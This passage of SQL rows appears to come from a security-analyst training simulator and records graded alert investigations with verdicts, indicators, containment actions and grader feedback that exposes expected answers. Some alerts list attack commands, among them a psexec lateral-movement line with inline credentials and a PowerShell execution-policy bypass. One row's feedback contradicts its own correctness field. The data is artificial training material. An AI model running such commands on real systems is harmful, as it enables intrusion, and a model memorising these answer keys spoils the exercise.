(476, 225, 1452, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.5\",\"ip-10.0.0.15\",\"hash-f1d2d2f9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_hash\",\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:49:47 PM\\nALERT: Malicious Document Execution [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.5\\n- [IP] 10.0.0.15\\n- [HASH] f1d2d2f924e986ac86fdf7b36c94bcdf32beec15\\n- [FILENAME] invoice_2023.docx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:49:52.454Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:48:52', '2026-03-09 05:49:52', 0, NULL),
(477, 225, 1453, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"hash-e99a18c4\",\"artifact_3\"],\"selectedActions\":[\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_hash\",\"isolate_host\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:50:37 PM\\nALERT: Credential Harvesting via Password Manager Exploit [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] password_manager_exploit_v2.dll\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:50:40.382Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:49:52', '2026-03-09 05:50:40', 0, NULL),
(478, 225, 1454, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.5.3.25\",\"ip-192.168.14.45\",\"ip-203.0.113.15\",\"hash-3f8a5dc7\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:51:34 PM\\nALERT: Lateral Movement Detected [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 10.5.3.25\\n- [IP] 192.168.14.45\\n- [IP] 203.0.113.15\\n- [HASH] 3f8a5dc7c9b1e9e3e4d6a8b5f1a2c3d4\\n- [USERNAME] jdoe\\n- [FILENAME] malicious_payload.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:51:41.090Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:50:40', '2026-03-09 05:51:41', 0, NULL),
(479, 225, 1455, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"artifact_2\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:52:25 PM\\nALERT: Data Exfiltration Attempt [OP: Operation CryptoCore]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 185.93.1.23\\n- [USERNAME] jane.doe\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] financial_report_Q3.xlsx\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:52:31.894Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 05:51:41', '2026-03-09 05:52:31', 0, NULL),
(480, 225, 1366, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"artifact_1\",\"artifact_2\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 4:55:17 PM\\nALERT: Suspicious LinkedIn Connection Request [OP: Operation Dream Job]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.10\\n- [EMAIL] john.doe@toptechtalent.com\\n- [IP] 203.0.113.45\\n- [URL] http://maliciouslink.com/joboffer\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T05:55:22.270Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 09:02:14', '2026-03-09 05:54:14', '2026-03-09 05:55:22', 0, NULL),
(481, 225, 1367, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-09 05:55:22', '2026-03-09 05:55:22', 0, NULL),
(482, 266, 268, 'graded', 93, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 15/03/2026, 20:14:10\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-15T14:44:25.641Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (3/4)\",\"missed_items\":[\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-09 12:23:18', '2026-03-15 14:44:25', 0, NULL),
(483, 55, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-09 12:47:22', '2026-03-09 12:47:22', 0, NULL),
(484, 266, 1431, 'graded', 90, 'Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"hash-d41d8cd9\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 09/03/2026, 18:56:28\\nALERT: Data Exfiltration via USB Device Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.10\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [COMMAND] copy C:\\\\Sensitive\\\\report.pdf E:\\\\\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Isolate Host\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T13:26:47.804Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/3)\",\"missed_items\":[\"reset_credentials\"],\"strengths\":\"Solid analysis\"}', '2026-03-09 16:26:33', '2026-03-09 13:19:33', '2026-03-09 13:26:47', 0, NULL),
(485, 266, 1439, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"artifact_1\",\"ip-192.168.1.55\"],\"selectedActions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 09/03/2026, 19:11:51\\nALERT: Possible Insider Data Leak Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.1.55\\n- [EMAIL] personalemail@example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Reset Credentials\\n- Collect Forensics\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T13:42:00.340Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 16:40:20', '2026-03-09 13:32:20', '2026-03-09 13:42:00', 0, NULL),
(486, 232, 738, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.0.2.25\",\"ip-192.168.1.15\",\"artifact_1\"],\"selectedActions\":[\"close_alert\",\"escalate\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 11:49:30 PM\\nALERT: Suspicious Email Flagged as Possible False Positive\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.0.2.25\\n- [IP] 192.168.1.15\\n- [EMAIL] newsletter@trustedsource.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T18:19:31.760Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 21:25:10', '2026-03-09 18:18:10', '2026-03-09 18:19:31', 0, NULL),
(487, 232, 938, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.5.15\",\"ip-192.168.5.20\",\"cmd-1\"],\"selectedActions\":[\"close_alert\",\"escalate\",\"collect_forensics\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 11:52:16 PM\\nALERT: Failed Process Execution from Internal Script\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.5.15\\n- [IP] 192.168.5.20\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\scripts\\\\update.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T18:22:17.089Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 21:24:54', '2026-03-09 18:19:54', '2026-03-09 18:22:17', 0, NULL),
(488, 232, 1310, 'graded', 100, 'Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.5.25\",\"artifact_2\"],\"selectedActions\":[\"close_alert\",\"collect_forensics\",\"escalate\"],\"verdict\":\"false_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/9/2026, 11:53:28 PM\\nALERT: False Positive: Legitimate Cloud Configuration Change\\nVERDICT: FALSE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 192.168.5.25\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Collect Forensics\\n- Escalate to Tier 3\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T18:23:29.698Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-09 21:31:37', '2026-03-09 18:22:37', '2026-03-09 18:23:29', 0, NULL),
(489, 225, 681, 'graded', 60, 'Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.0.2.10\",\"ip-192.168.5.10\",\"domain-http://legit\",\"artifact_1\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:40:37 AM\\nALERT: Phishing Email Detected with Clean URL\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.0.2.10\\n- [IP] 192.168.5.10\\n- [DOMAIN] http://legitimate-site.com\\n- [EMAIL] info@securemail.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-09T23:40:49.901Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Incorrect verdict. Expected false_positive, got true_positive. Artifact analysis completed (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Needs improvement\"}', '2026-03-10 02:39:25', '2026-03-09 23:30:25', '2026-03-09 23:40:49', 0, NULL),
(490, 225, 611, 'graded', 60, 'Verdict is correct (+40). Missed critical artifacts: command psexec.exe \\\\192.168.1.25 -u admin -p password cmd.exe (0/1). Missed response actions (2/3)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-192.168.1.25\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 11:01:23 AM\\nALERT: Internal Network Lateral Movement via PSExec\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (3)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 192.168.1.25\\n- [COMMAND] psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T00:01:36.602Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe (0/1). Missed response actions (2/3)\",\"missed_items\":[\"command: psexec.exe \\\\\\\\192.168.1.25 -u admin -p password cmd.exe\",\"close_alert\"],\"strengths\":\"Needs improvement\"}', '2026-03-10 03:05:34', '2026-03-09 23:59:34', '2026-03-10 00:01:36', 0, NULL),
(491, 225, 1372, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"artifact_2\"],\"selectedActions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"close_alert\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:16:27 AM\\nALERT: Brute Force Attack Detected from Malicious IP\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (2)\\n----------------\\n- [IP] 203.0.113.45\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Reset Credentials\\n- Close (No Action)\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:16:26.465Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-10 03:06:54', '2026-03-10 00:01:54', '2026-03-10 22:16:26', 0, NULL),
(492, 34, 1461, 'investigating', NULL, NULL, NULL, NULL, '2026-03-10 03:39:47', '2026-03-10 00:31:47', '2026-03-10 00:31:47', 0, NULL),
(493, 271, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-03-10 05:08:11', '2026-03-10 05:08:11', 0, NULL),
(494, 251, 269, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"block_ip\",\"escalate\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:55:21 AM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T05:25:26.772Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 05:22:50', '2026-03-10 05:25:26', 0, NULL),
(495, 251, 270, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"block_ip\",\"reset_credentials\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/10/2026, 10:58:28 AM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T05:28:29.664Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 05:25:26', '2026-03-10 05:28:29', 0, NULL),
(496, 225, 1466, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.105\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:18:32 AM\\nALERT: Initial Access via Spear Phishing [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.105\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [DOMAIN] update-portal.example.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:18:34.663Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', '2026-03-11 01:25:25', '2026-03-10 22:17:25', '2026-03-10 22:18:34', 0, NULL),
(497, 225, 1467, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.15\",\"hash-d41d8cd9\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:19:52 AM\\nALERT: Execution of Malicious Payload [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.15\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] payload.exe\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-03-10T22:19:55.365Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-03-10 22:18:34', '2026-03-10 22:19:55', 0, NULL),
(498, 225, 1468, 'graded', 100, 'Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)', '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-d41d8cd9\",\"artifact_3\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\",\"reset_credentials\",\"block_ip\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 3/11/2026, 9:20:38 AM\\nALERT: Persistence through Backdoor Installation [OP: Operation Salt Typhoon]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] backdoor_installer.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst 